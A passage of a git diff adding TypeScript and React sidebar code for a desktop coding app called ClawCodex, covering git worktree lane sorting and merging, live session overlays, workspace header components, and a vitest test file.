+const laneActivity = (group: SidebarSessionGroup): number =>
+  group.sessions.reduce((max, session) => Math.max(max, sessionRecency(session)), 0)
+
+// Lane tiers (low sorts first): the repo's primary ("home") checkout pins above
+// everything (it's "where you are", labeled by its live branch), then trunk,
+// then ordinary branches/worktrees, then the kanban aggregate.
+const laneRank = (group: SidebarSessionGroup): number =>
+  group.isHome ? 0 : isTrunkLane(group) ? 1 : group.isKanban ? 3 : 2
+
+/**
+ * Sort by tier (home → trunk → branches/worktrees → kanban); within a tier, by
+ * most-recent activity (empty lanes fall last), label as the tiebreak.
+ */
+function compareWorktreeGroups(a: SidebarSessionGroup, b: SidebarSessionGroup): number {
+  const byRank = laneRank(a) - laneRank(b)
+
+  if (byRank !== 0) {
+    return byRank
+  }
+
+  const byActivity = laneActivity(b) - laneActivity(a)
+
+  return byActivity || a.label.localeCompare(b.label, undefined, { sensitivity: 'base' })
+}
+
+export function sortWorktreeGroups(groups: SidebarSessionGroup[]): SidebarSessionGroup[] {
+  return [...groups].sort(compareWorktreeGroups)
+}
+
+/**
+ * VISUAL enhancer only: inject empty lanes from a live `git worktree list` so a
+ * repo shows its branches/worktrees even when they have no ClawCodex sessions yet.
+ * The repo's real session lanes already come fully built from the backend
+ * (`projects.project_sessions`); this never adds or moves session rows, and it
+ * degrades to a no-op on remote backends (where the Electron probe returns
+ * nothing). Lanes already present (by id/path) are left untouched.
+ */
+export function mergeRepoWorktreeGroups(
+  repo: Pick<SidebarWorkspaceTree, 'groups' | 'id' | 'path'>,
+  discoveredWorktrees?: ClawCodexGitWorktree[]
+): SidebarSessionGroup[] {
+  // Branch-primary labels: a linked worktree's identity in every git UI (VS
+  // Code, JetBrains, lazygit, …) is its CHECKED-OUT BRANCH, not the directory it
+  // happens to live in. The backend labels these lanes by dir/slug; relabel them
+  // to the live branch from `git worktree list` so the sidebar matches the
+  // composer's branch strip. Detached worktrees (no branch) keep their dir label.
+  const liveBranchByPath = new Map<string, string>()
+  // Inverse: branch → its ONE live worktree path. git guarantees a branch is
+  // checked out in at most one worktree, so this mapping is a function and can
+  // re-anchor a lane whose stored path has drifted from git truth.
+  const livePathByBranch = new Map<string, string>()
+
+  for (const worktree of discoveredWorktrees ?? []) {
+    const wtPath = normalizePath(worktree.path)
+    const branch = worktree.branch?.trim()
+
+    if (wtPath && branch && !worktree.detached) {
+      liveBranchByPath.set(wtPath, branch)
+      livePathByBranch.set(branch.toLowerCase(), worktree.path.trim())
+    }
+  }
+
+  // The primary ("home") checkout's LIVE branch. A repo dir is only ever on ONE
+  // branch, so every main-checkout session lane (historical branches over the
+  // same root path) collapses into a single home lane labeled by this live
+  // branch, defaulting to `main`. Known only when the local git probe ran;
+  // remote backends keep the backend's recorded-branch main lane untouched.
+  const mainWorktree = (discoveredWorktrees ?? []).find(w => w.isMain)
+  const homeBranch = mainWorktree && !mainWorktree.detached ? mainWorktree.branch?.trim() || DEFAULT_BRANCH_LABEL : ''
+
+  // Reconcile a LINKED worktree lane against git truth so its label AND path
+  // describe the SAME worktree. Two repair directions:
+  //  1. Path git knows → relabel to that path's live branch (git UIs identify a
+  //     worktree by its checked-out branch, not the dir it lives in).
+  //  2. Path git DOESN'T know but the label IS a live branch → the lane's path
+  //     has gone stale; re-anchor it to that branch's real path, else "reveal"
+  //     opens a different, stale checkout. The home checkout is folded
+  //     separately (below), never here.
+  const reconcile = (group: SidebarSessionGroup): SidebarSessionGroup => {
+    if (group.isMain || group.isKanban) {
+      return group
+    }
+
+    const branchForPath = liveBranchByPath.get(normalizePath(group.path))
+
+    if (branchForPath) {
+      return branchForPath !== group.label ? { ...group, label: branchForPath } : group
+    }
+
+    const livePath = livePathByBranch.get(normalize(group.label))
+
+    if (livePath && normalizePath(livePath) !== normalizePath(group.path)) {
+      return { ...group, id: livePath, path: livePath }
+    }
+
+    return group
+  }
+
+  const dedupeById = (sessions: SessionInfo[]): SessionInfo[] => {
+    const byId = new Map<string, SessionInfo>()
+
+    for (const session of sessions) {
+      byId.set(session.id, byId.get(session.id) ?? session)
+    }
+
+    return [...byId.values()]
+  }
+
+  // Fold every main-checkout lane into one home lane labeled by the live branch
+  // (the root dir is only ever on one branch); reconcile the linked worktrees.
+  // Always shown, even with no sessions on the current branch yet. Remote
+  // backends (no probe → no homeBranch) keep their main lanes untouched.
+  const mainGroups = repo.groups.filter(group => group.isMain)
+  const reconciled = repo.groups.filter(group => !group.isMain).map(reconcile)
+
+  if (homeBranch) {
+    reconciled.push({
+      id: branchLaneId(repo.id, homeBranch),
+      label: homeBranch,
+      path: repo.path,
+      isMain: true,
+      isHome: true,
+      sessions: dedupeById(mainGroups.flatMap(group => group.sessions))
+    })
+  } else {
+    reconciled.push(...mainGroups)
+  }
+
+  // Collapse any duplicate a re-anchor produced (a stale lane re-pointed onto a
+  // path a real lane already holds) — keep the richer (more sessions) lane.
+  const byPath = new Map<string, SidebarSessionGroup>()
+  const merged: SidebarSessionGroup[] = []
+
+  for (const group of reconciled) {
+    const key = !group.isMain && group.path ? normalizePath(group.path) : ''
+    const existing = key ? byPath.get(key) : undefined
+
+    if (existing) {
+      if (group.sessions.length > existing.sessions.length) {
+        merged[merged.indexOf(existing)] = group
+        byPath.set(key, group)
+      }
+
+      continue
+    }
+
+    if (key) {
+      byPath.set(key, group)
+    }
+
+    merged.push(group)
+  }
+
+  const seenIds = new Set(merged.map(group => group.id))
+  const seenPaths = new Set(merged.map(group => group.path).filter((path): path is string => Boolean(path)))
+  // Dedupe by branch label too: a branch shows once even if it's checked out in
+  // a linked worktree AND already has a session lane.
+  const seenLabels = new Set(merged.map(group => group.label.toLowerCase()))
+
+  for (const worktree of discoveredWorktrees ?? []) {
+    const wtPath = worktree.path?.trim()
+
+    if (!wtPath) {
+      continue
+    }
+
+    // The home checkout is already the collapsed home lane (above).
+    if (worktree.isMain && homeBranch) {
+      continue
+    }
+
+    // Kanban task worktrees never get their own lane — they fold into the
+    // session-derived `::kanban` bucket. Listing every `git worktree list` entry
+    // here is exactly what blew the sidebar up to hundreds of empty rows.
+    if (!worktree.isMain && kanbanWorktreeDir(wtPath)) {
+      continue
+    }
+
+    const label =
+      (worktree.isMain ? worktree.branch?.trim() || DEFAULT_BRANCH_LABEL : worktree.branch?.trim()) ||
+      baseName(wtPath) ||
+      wtPath
+
+    const id = worktree.isMain ? branchLaneId(repo.id, label) : wtPath
+
+    const alreadySeen =
+      seenIds.has(id) || seenLabels.has(label.toLowerCase()) || (!worktree.isMain && seenPaths.has(wtPath))
+
+    if (alreadySeen) {
+      continue
+    }
+
+    merged.push({ id, isMain: worktree.isMain, label, path: wtPath, sessions: [] })
+    seenIds.add(id)
+    seenPaths.add(wtPath)
+    seenLabels.add(label.toLowerCase())
+  }
+
+  return sortWorktreeGroups(merged)
+}
+
+// ── Live session overlay ─────────────────────────────────────────────────────
+// The backend tree is a snapshot (sessions with >=1 message, refreshed on a
+// turn boundary). For parity with the flat Recents list — instant insertion of
+// a freshly-created session and the live "working" arc — we overlay the live
+// `$sessions` store onto the tree at render time. This is ADDITIVE only: the
+// backend still owns membership, structure, counts, and history. The overlay
+// just places rows already present in `$sessions` into the project/lane the
+// backend would put them in, using the same id scheme. Worktree/kanban folding
+// needs the backend common-root probe, so those rows are left for the next
+// tree refresh; the common case (a new main-checkout session) overlays here.
+
+/** True when `target` equals `folder` or is nested under it (segment-wise). */
+function isPathUnder(folder: string, target: string): boolean {
+  const f = comparisonSegments(folder)
+  const t = comparisonSegments(target)
+
+  if (!f.length || f.length > t.length) {
+    return false
+  }
+
+  return f.every((seg, i) => seg === t[i])
+}
+
+/**
+ * The project a live session belongs to (overview membership) — explicit project
+ * by longest-prefix folder, else the repo root (the auto-project id). An IN-TREE
+ * linked worktree (`<repoRoot>/.worktrees/<slug>`) belongs to the SAME project as
+ * its repo root (the root is right there in the path), so a freshly-created
+ * worktree session — e.g. from "convert a branch" / "new worktree" — surfaces in
+ * the overview at once instead of waiting for the next backend refresh. Returns
+ * null only for sessions we genuinely can't place from the row alone: cwd-less,
+ * kanban-task worktrees (they fold into the kanban bucket), or a worktree that
+ * lives OUTSIDE the repo root (a sibling dir) AND under no explicit project
+ * folder. An explicit-project folder match always places the row — even when
+ * the row's cwd sits outside its recorded repo root (a mid-session relocation,
+ * or a sibling worktree of a project repo), the folder match is authoritative;
+ * only the repo-root AUTO-project fallback needs cwd-under-root confidence.
+ */
+export function liveSessionProjectId(session: SessionInfo, explicitProjects: ProjectInfo[]): null | string {
+  const cwd = (session.cwd || '').trim()
+  // A session may carry only a git_repo_root and no cwd — older/imported rows,
+  // or ones captured before cwd tracking. The backend still groups those by repo
+  // root, so anchor on it here too; otherwise the sidebar files the row under a
+  // project but the color derivation drops it (the "grouped but grey" bug).
+  const repoRoot = (session.git_repo_root || '').trim() || cwd
+  const anchor = cwd || repoRoot
+
+  if (!anchor || kanbanWorktreeDir(anchor)) {
+    return null
+  }
+
+  let projectId = ''
+  let bestLen = -1
+
+  for (const project of explicitProjects) {
+    if (project.archived) {
+      continue
+    }
+
+    for (const folder of project.folders) {
+      if (isPathUnder(folder.path, cwd) || isPathUnder(folder.path, repoRoot)) {
+        const len = segments(folder.path).length
+
+        if (len > bestLen) {
+          bestLen = len
+          projectId = project.id
+        }
+      }
+    }
+  }
+
+  if (projectId) {
+    return projectId
+  }
+
+  // AUTO-project fallback (the repo root itself): with a cwd present it must
+  // sit under the repo root (a sibling worktree outside the root can't be
+  // placed from the row alone); a root-only session skips this — the root IS
+  // the anchor.
+  if (cwd && !isPathUnder(repoRoot, cwd)) {
+    return null
+  }
+
+  return repoRoot
+}
+
+/**
+ * The color a session inherits from its owning project — the explicit project
+ * whose folder is the longest prefix of the session's cwd/repo-root, when that
+ * project carries a user-set color. Auto-promoted repo projects have no color
+ * unless the user set one, so a session only tints when it belongs to a colored
+ * project (inheritance is opt-in by coloring the project). Reuses
+ * {@link liveSessionProjectId} so the color follows the SAME membership the
+ * sidebar groups by; returns null for rootless / kanban / out-of-tree rows and
+ * for sessions under an uncolored (or auto) project.
+ */
+export function sessionProjectColor(session: SessionInfo, projects: ProjectInfo[]): null | string {
+  const projectId = liveSessionProjectId(session, projects)
+
+  if (!projectId) {
+    return null
+  }
+
+  return projects.find(project => project.id === projectId)?.color ?? null
+}
+
+const upsertSession = (rows: SessionInfo[], session: SessionInfo): SessionInfo[] =>
+  [session, ...rows.filter(row => row.id !== session.id)].sort((a, b) => b.started_at - a.started_at)
+
+/**
+ * The lane a live session belongs to WITHIN a known repo root, by path — the
+ * entered project already knows its repo roots, so we don't need the session's
+ * (often-unset, on a fresh row) git_repo_root. Mirrors the backend's lane ids:
+ * main checkout -> branch lane, `.worktrees/t_<hex>` -> kanban, any other
+ * `.worktrees/<slug>` -> that worktree's own lane.
+ */
+function liveLaneForRepo(repoRoot: string, session: SessionInfo): null | SidebarSessionGroup {
+  const cwd = (session.cwd || '').trim()
+
+  if (!cwd || !isPathUnder(repoRoot, cwd)) {
+    return null
+  }
+
+  const wt = cwd.match(/^(.*[/\\]\.worktrees)[/\\]([^/\\]+)/)
+
+  if (wt) {
+    const [worktreeRoot, worktreesDir, slug] = [wt[0], wt[1], wt[2]]
+
+    return /^t_[0-9a-f]+$/.test(slug)
+      ? { id: `${repoRoot}::kanban`, isKanban: true, isMain: false, label: 'kanban', path: worktreesDir, sessions: [] }
+      : { id: worktreeRoot, isMain: false, label: slug, path: worktreeRoot, sessions: [] }
+  }
+
+  const branch = (session.git_branch || '').trim() || DEFAULT_BRANCH_LABEL
+
+  return { id: branchLaneId(repoRoot, branch), isMain: true, label: branch, path: repoRoot, sessions: [] }
+}
+
+const NO_REMOVED: ReadonlySet<string> = new Set()
+
+/**
+ * Reconcile ONE repo's lanes against the live `$sessions` cache: evict
+ * deleted/archived rows (`removed`) and inject freshly-created ones, so a lane
+ * mutates exactly like the flat Recents list. The backend snapshot stays the
+ * datasource for structure and off-page history; this is the optimistic layer
+ * on top (Apollo-style), reconciled away on the next snapshot refresh. Returns
+ * the same repo ref when nothing changes (memo-stable).
+ */
+export function overlayRepoLanes(
+  repo: SidebarWorkspaceTree,
+  live: SessionInfo[],
+  removed: ReadonlySet<string> = NO_REMOVED
+): SidebarWorkspaceTree {
+  const repoRootKey = pathKey(repo.path)
+  let changed = false
+  // Lanes that arrived with no rows are not eviction casualties — they're real
+  // structure (a `git worktree list` lane, or one whose sessions are pinned
+  // away). The prune below is only allowed to drop lanes IT emptied.
+  const emptyOnInput = new Set(repo.groups.filter(g => !g.sessions.length).map(g => g.id))
+
+  // Snapshot lanes minus anything the user just deleted/archived.
+  const lanes = repo.groups.map(g => {
+    if (!removed.size) {
+      return { ...g, sessions: [...g.sessions] }
+    }
+
+    const kept = g.sessions.filter(s => !removed.has(s.id))
+
+    changed ||= kept.length !== g.sessions.length
+
+    return { ...g, sessions: kept }
+  })
+
+  for (const session of live) {
+    const cwd = (session.cwd || '').trim()
+
+    if (removed.has(session.id) || !cwd) {
+      continue
+    }
+
+    // (1) Join an EXISTING worktree lane by its own path. A linked worktree can
+    // live anywhere on disk (often a repo sibling, e.g. `repo-ci`), so nesting
+    // under the repo root isn't reliable — but the lane carries its real dir.
+    // Longest match wins; skip the root lane so an in-tree `.worktrees/<slug>`
+    // session isn't swallowed by main.
+    let lane: SidebarSessionGroup | undefined
+    let bestLen = -1
+
+    for (const g of lanes) {
+      const lanePath = normalizePath(g.path)
+
+      if (!lanePath || pathKey(lanePath) === repoRootKey || !isPathUnder(lanePath, cwd)) {
+        continue
+      }
+
+      const len = segments(lanePath).length
+
+      if (len > bestLen) {
+        bestLen = len
+        lane = g
+      }
+    }
+
+    // (2) Else place under the repo root via a computed lane (main / branch /
+    // in-tree `.worktrees` / kanban). Match by id, then path (the backend may
+    // key a worktree lane off the git-probed root OR a branch-style id), then
+    // the main-lane label; create it when the snapshot lacked it.
+    if (!lane) {
+      const placed = repo.path ? liveLaneForRepo(repo.path, session) : null
+
+      if (!placed) {
+        continue
+      }
+
+      const placedKey = pathKey(placed.path)
+
+      lane =
+        lanes.find(g => g.id === placed.id) ??
+        (placed.isMain
+          ? lanes.find(g => g.isMain && g.label.toLowerCase() === placed.label.toLowerCase())
+          : undefined) ??
+        (!placed.isMain && placedKey ? lanes.find(g => pathKey(g.path) === placedKey) : undefined)
+
+      if (!lane) {
+        lane = { ...placed, sessions: [] }
+        lanes.push(lane)
+      }
+    }
+
+    lane.sessions = upsertSession(lane.sessions, session)
+    changed = true
+  }
+
+  if (!changed) {
+    return repo
+  }
+
+  // Drop lanes emptied by eviction (the server only emits non-empty lanes; the
+  // git-worktree enhancer re-adds any still-real worktree as an empty lane).
+  const groups = sortWorktreeGroups(lanes.filter(g => g.sessions.length > 0 || emptyOnInput.has(g.id)))
+
+  return { ...repo, groups, sessionCount: groups.reduce((n, g) => n + g.sessions.length, 0) }
+}
+
+/**
+ * Home's overlay: its rows have no cwd to place, so this is a plain upsert of
+ * detached live sessions into its single lane — a brand-new project-less chat
+ * shows the instant it's created, matching the flat Recents list.
+ */
+function overlayHomeLane(
+  project: SidebarProjectTree,
+  live: SessionInfo[],
+  removed: ReadonlySet<string>
+): SidebarProjectTree {
+  const lane = project.repos[0]?.groups[0]
+  const detached = live.filter(session => isDetachedSession(session) && !removed.has(session.id))
+  const kept = (lane?.sessions ?? []).filter(session => !removed.has(session.id))
+
+  if (!detached.length && kept.length === (lane?.sessions.length ?? 0)) {
+    return project
+  }
+
+  const sessions = detached.reduce(upsertSession, kept)
+  const nextLane = { id: NO_PROJECT_ID, label: project.label, path: null, sessions }
+
+  return {
+    ...project,
+    repos: [{ id: NO_PROJECT_ID, label: project.label, path: null, groups: [nextLane], sessionCount: sessions.length }],
+    sessionCount: sessions.length
+  }
+}
+
+/**
+ * Drop matching sessions from every lane (and the overview preview) of a
+ * project subtree, recounting as lanes shrink. Used to keep pinned sessions out
+ * of the project lists: a pin belongs to the Pinned section, not to both. The
+ * predicate — rather than an id set — lets the caller match a pin on its
+ * durable lineage-root id as well as the live one.
+ *
+ * Lanes SURVIVE being emptied. A worktree is structure (it exists on disk, you
+ * can still start work in it); pinning its last chat must not delete the branch
+ * from the tree — same reason the `git worktree list` enhancer injects lanes
+ * that never had a session. Only the rows move. Memo-stable: returns the same
+ * ref when nothing matched.
+ */
+export function excludeProjectSessions(
+  project: SidebarProjectTree,
+  isExcluded: (session: SessionInfo) => boolean
+): SidebarProjectTree {
+  let changed = false
+
+  const repos = project.repos.map(repo => {
+    let repoChanged = false
+
+    const groups = repo.groups.map(group => {
+      const sessions = group.sessions.filter(session => !isExcluded(session))
+
+      if (sessions.length === group.sessions.length) {
+        return group
+      }
+
+      repoChanged = true
+
+      return { ...group, sessions }
+    })
+
+    if (!repoChanged) {
+      return repo
+    }
+
+    changed = true
+
+    return { ...repo, groups, sessionCount: groups.reduce((n, group) => n + group.sessions.length, 0) }
+  })
+
+  const previewSessions = project.previewSessions?.filter(session => !isExcluded(session))
+
+  changed ||= previewSessions?.length !== project.previewSessions?.length
+
+  if (!changed) {
+    return project
+  }
+
+  return {
+    ...project,
+    previewSessions,
+    repos,
+    sessionCount: repos.reduce((n, repo) => n + repo.sessionCount, 0)
+  }
+}
+
+/** Project-level overlay: {@link overlayRepoLanes} across every repo subtree. */
+export function overlayLiveLanes(
+  project: SidebarProjectTree,
+  live: SessionInfo[],
+  removed: ReadonlySet<string> = NO_REMOVED
+): SidebarProjectTree {
+  if (project.isNoProject) {
+    return overlayHomeLane(project, live, removed)
+  }
+
+  let changed = false
+
+  const repos = project.repos.map(repo => {
+    const next = overlayRepoLanes(repo, live, removed)
+
+    changed ||= next !== repo
+
+    return next
+  })
+
+  if (!changed) {
+    return project
+  }
+
+  return { ...project, repos, sessionCount: repos.reduce((n, repo) => n + repo.sessionCount, 0) }
+}
+
+/** Merge live sessions into per-project overview previews, keyed by project id. */
+export function overlayLivePreviews(
+  projects: SidebarProjectTree[],
+  live: SessionInfo[],
+  explicitProjects: ProjectInfo[],
+  limit: number,
+  removed: ReadonlySet<string> = new Set()
+): Record<string, SessionInfo[]> {
+  const byProject = new Map<string, SessionInfo[]>()
+
+  for (const session of live) {
+    if (removed.has(session.id)) {
+      continue
+    }
+
+    const projectId =
+      liveSessionProjectId(session, explicitProjects) ?? (isDetachedSession(session) ? NO_PROJECT_ID : null)
+
+    if (!projectId) {
+      continue
+    }
+
+    const arr = byProject.get(projectId) ?? []
+    arr.push(session)
+    byProject.set(projectId, arr)
+  }
+
+  const out: Record<string, SessionInfo[]> = {}
+
+  for (const node of projects) {
+    const liveRows = byProject.get(node.id) ?? []
+    const base = (node.previewSessions ?? []).filter(session => !removed.has(session.id))
+
+    if (!liveRows.length && !base.length) {
+      continue
+    }
+
+    // Live rows take precedence (fresher title/activity/working state).
+    const map = new Map<string, SessionInfo>()
+
+    for (const session of [...liveRows, ...base]) {
+      if (!map.has(session.id)) {
+        map.set(session.id, session)
+      }
+    }
+
+    out[node.id] = [...map.values()].sort((a, b) => sessionRecency(b) - sessionRecency(a)).slice(0, limit)
+  }
+
+  return out
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/workspace-header.test.tsx b/ui-desktop/src/app/chat/sidebar/projects/workspace-header.test.tsx
new file mode 100644
index 000000000..adb462e58
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/workspace-header.test.tsx
@@ -0,0 +1,81 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { StartWorkButton, WorkspaceAddButton, WorkspaceMenu, WorkspaceShowMoreButton } from './workspace-header'
+
+afterEach(cleanup)
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      sidebar: {
+        projects: {
+          copyPath: 'Copy path',
+          menu: 'Actions',
+          removeWorktree: 'Remove worktree',
+          reveal: 'Reveal in file manager',
+          startWork: 'New worktree'
+        },
+        showMoreIn: (n: number, label: string) => `Show ${n} more in ${label}`
+      }
+    }
+  })
+}))
+
+vi.mock('@/store/projects', () => ({
+  copyPath: vi.fn(),
+  revealPath: vi.fn()
+}))
+
+// StartWorkButton no longer renders a dialog. It publishes an intent to the one
+// WorktreeDialog that is mounted in the sidebar. Stub the store action, so this
+// test keeps the button separate from the git probes of the resolver.
+vi.mock('@/store/coding-status', () => ({
+  openWorktreeDialog: vi.fn()
+}))
+
+const tipTrigger = (button: HTMLElement) => button.closest('[data-slot="tooltip-trigger"]')
+
+describe('WorkspaceAddButton', () => {
+  it('wraps the "+" button in a Tip', () => {
+    render(<WorkspaceAddButton label="New session in Test D" onClick={vi.fn()} />)
+
+    const button = screen.getByRole('button', { name: 'New session in Test D' })
+    expect(tipTrigger(button)).toBeTruthy()
+  })
+
+  it('still fires onClick', () => {
+    const onClick = vi.fn()
+    render(<WorkspaceAddButton label="New session in Test D" onClick={onClick} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'New session in Test D' }))
+    expect(onClick).toHaveBeenCalledOnce()
+  })
+})
+
+describe('WorkspaceShowMoreButton', () => {
+  it('wraps the ellipsis button in a Tip with the composed label', () => {
+    render(<WorkspaceShowMoreButton count={5} label="Test D" onClick={vi.fn()} />)
+
+    const button = screen.getByRole('button', { name: 'Show 5 more in Test D' })
+    expect(tipTrigger(button)).toBeTruthy()
+  })
+})
+
+describe('WorkspaceMenu', () => {
+  it('does not wrap the kebab trigger in a Tip', () => {
+    render(<WorkspaceMenu onRemove={vi.fn()} path="/repo/lane" />)
+
+    const button = screen.getByRole('button', { name: 'Actions' })
+    expect(tipTrigger(button)).toBeNull()
+  })
+})
+
+describe('StartWorkButton', () => {
+  it('wraps the git-branch trigger in a Tip', () => {
+    render(<StartWorkButton repoPath="/repo" />)
+
+    const button = screen.getByRole('button', { name: 'New worktree' })
+    expect(tipTrigger(button)).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/projects/workspace-header.tsx b/ui-desktop/src/app/chat/sidebar/projects/workspace-header.tsx
new file mode 100644
index 000000000..cdf3ce4b6
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/workspace-header.tsx
@@ -0,0 +1,228 @@
+import type * as React from 'react'
+
+import { ActionsContextMenu, ActionsMenu, type MenuKit, renderActionItem } from '@/components/ui/actions-menu'
+import { Codicon } from '@/components/ui/codicon'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+import { openWorktreeDialog } from '@/store/coding-status'
+import { copyPath, revealPath } from '@/store/projects'
+
+import { SidebarRowLead } from '../chrome'
+
+// Branch/worktree labels routinely share a long prefix (`bb/coding-context-…`),
+// so plain end-truncation (`truncate`) hides exactly the suffix that tells two
+// lanes apart — both render as "bb/coding-context…". Keep the tail pinned and
+// ellipsize the HEAD instead, so `…context-facts-rpc` and `…context-persona`
+// stay distinguishable. Falls back to whole-string for short labels.
+function LaneLabel({ label, title }: { label: string; title?: string }) {
+  const tailLen = Math.min(14, Math.floor(label.length / 2))
+  const head = label.slice(0, label.length - tailLen)
+  const tail = label.slice(label.length - tailLen)
+
+  return (
+    // overflow-hidden: the pinned tail is shrink-0, so at extreme narrow widths
+    // it must clip inside the label rather than push the trailing icons out.
+    <span className="flex min-w-0 overflow-hidden" title={title}>
+      <span className="truncate">{head}</span>
+      <span className="shrink-0 whitespace-pre">{tail}</span>
+    </span>
+  )
+}
+
+// "+" affordance shared by repo and worktree headers — reveals on header hover.
+export function WorkspaceAddButton({ label, onClick }: { label: string; onClick: () => void }) {
+  return (
+    <Tip label={label}>
+      <button
+        aria-label={label}
+        className="grid size-4 shrink-0 place-items-center rounded-sm bg-transparent text-(--ui-text-quaternary) opacity-0 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground group-hover/workspace:opacity-100"
+        onClick={onClick}
+        type="button"
+      >
+        <Codicon name="add" size="0.75rem" />
+      </button>
+    </Tip>
+  )
+}
+
+// Reveals the next page of already-loaded rows within a workspace/worktree.
+export function WorkspaceShowMoreButton({
+  count,
+  label,
+  onClick
+}: {
+  count: number
+  label: string
+  onClick: () => void
+}) {
+  const { t } = useI18n()
+  const text = t.sidebar.showMoreIn(count, label)
+
+  return (
+    <Tip label={text}>
+      <button
+        aria-label={text}
+        className="ml-auto grid size-5 place-items-center rounded-sm bg-transparent text-(--ui-text-tertiary) transition-colors hover:bg-(--ui-control-hover-background) hover:text-foreground"
+        onClick={onClick}
+        type="button"
+      >
+        <Codicon name="ellipsis" size="0.75rem" />
+      </button>
+    </Tip>
+  )
+}
+
+// Per-worktree actions (linked worktree lanes only), mirroring the session row
+// and ProjectMenu kebab: reveal in the file manager, copy path, and remove the
+// worktree (runs a real `git worktree remove` via the caller's confirm dialog).
+// Shared by the kebab dropdown and the header's right-click menu so both match.
+function useWorkspaceItems({ path, onRemove }: { path: null | string; onRemove: () => void }) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+
+  return (kit: MenuKit) => (
+    <>
+      {renderActionItem(kit, {
+        disabled: !path,
+        icon: 'folder-opened',
+        key: 'reveal',
+        label: p.reveal,
+        onSelect: () => void revealPath(path)
+      })}
+      {renderActionItem(kit, {
+        disabled: !path,
+        icon: 'copy',
+        key: 'copy',
+        label: p.copyPath,
+        onSelect: () => void copyPath(path)
+      })}
+      <kit.Separator />
+      {renderActionItem(kit, {
+        icon: 'trash',
+        key: 'remove',
+        label: `${p.removeWorktree}…`,
+        onSelect: onRemove,
+        variant: 'destructive'
+      })}
+    </>
+  )
+}
+
+export function WorkspaceMenu({ path, onRemove }: { path: null | string; onRemove: () => void }) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const items = useWorkspaceItems({ onRemove, path })
+
+  return (
+    <ActionsMenu ariaLabel={p.menu} contentClassName="w-48" items={items}>
+      <button
+        aria-label={p.menu}
+        className="grid size-4 shrink-0 place-items-center rounded-sm bg-transparent text-(--ui-text-quaternary) opacity-0 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground group-hover/workspace:opacity-100 data-[state=open]:opacity-100"
+        onClick={event => event.stopPropagation()}
+        type="button"
+      >
+        <Codicon name="kebab-vertical" size="0.75rem" />
+      </button>
+    </ActionsMenu>
+  )
+}
+
+// Wrap a worktree lane's header so right-clicking it opens the same actions as
+// its kebab. `disabled` renders children bare (a lane with no removable path).
+export function WorkspaceContextMenu({
+  path,
+  onRemove,
+  children
+}: {
+  path: null | string
+  onRemove?: () => void
+  children: React.ReactNode
+}) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const items = useWorkspaceItems({ onRemove: onRemove ?? (() => {}), path })
+
+  return (
+    <ActionsContextMenu ariaLabel={p.menu} contentClassName="w-48" disabled={!onRemove} items={items}>
+      {children}
+    </ActionsContextMenu>
+  )
+}
+
+// "New worktree": prompt for a branch name, then git spins up a fresh worktree
+// for that branch under the repo (the lightest way) and we open a new session
+// inside it. Naming is explicit — no auto-generated `clawcodex/work-<ts>` trees.
+// The base branch defaults to the remote default (origin/HEAD); the user can
+// pick any local or remote-tracking branch via a filterable combobox.
+export function StartWorkButton({ repoPath }: { repoPath: string }) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+
+  return (
+    <Tip label={p.startWork}>
+      <button
+        aria-label={p.startWork}
+        className="grid size-4 shrink-0 place-items-center rounded-sm bg-transparent text-(--ui-text-quaternary) opacity-0 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground group-hover/section:opacity-100 focus-visible:opacity-100"
+        // Publish the intent. The one WorktreeDialog in the sidebar renders it.
+        // This button pins its own repo, so it targets this section.
+        onClick={() => void openWorktreeDialog({ repoPath })}
+        type="button"
+      >
+        <Codicon name="git-branch" size="0.75rem" />
+      </button>
+    </Tip>
+  )
+}
+
+// Collapsible header shared by the repo (emphasis) and worktree levels: a toggle
+// button with a leading glyph, plus an optional trailing action (the +).
+export function WorkspaceHeader({
+  action,
+  emphasis = false,
+  icon,
+  label,
+  onToggle,
+  open,
+  title,
+  ref,
+  ...rest
+}: {
+  action?: React.ReactNode
+  emphasis?: boolean
+  icon: React.ReactNode
+  label: string
+  onToggle: () => void
+  open: boolean
+  /** Hover tooltip — the lane's full on-disk path (worktree / repo root). */
+  title?: string
+} & React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn(
+        'group/workspace flex min-h-6 items-center gap-1 px-2 pt-1 text-[0.6875rem]',
+        emphasis ? 'font-semibold text-(--ui-text-secondary)' : 'font-medium text-(--ui-text-tertiary)'
+      )}
+      ref={ref}
+      {...rest}
+    >
+      <button
+        className={cn(
+          'flex min-w-0 flex-1 items-center gap-1.5 bg-transparent text-left',
+          emphasis ? 'hover:text-foreground' : 'hover:text-(--ui-text-secondary)'
+        )}
+        onClick={onToggle}
+        type="button"
+      >
+        <SidebarRowLead>{icon}</SidebarRowLead>
+        <LaneLabel label={label} title={title ? `${label}\n${title}` : label} />
+        <DisclosureCaret
+          className="shrink-0 text-(--ui-text-tertiary) opacity-0 transition group-hover/workspace:opacity-100"
+          open={open}
+        />
+      </button>
+      {action}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/worktree-dialog.tsx b/ui-desktop/src/app/chat/sidebar/projects/worktree-dialog.tsx
new file mode 100644
index 000000000..f1fc2c467
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/worktree-dialog.tsx
@@ -0,0 +1,373 @@
+import { useStore } from '@nanostores/react'
+import { useCallback, useEffect, useMemo, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
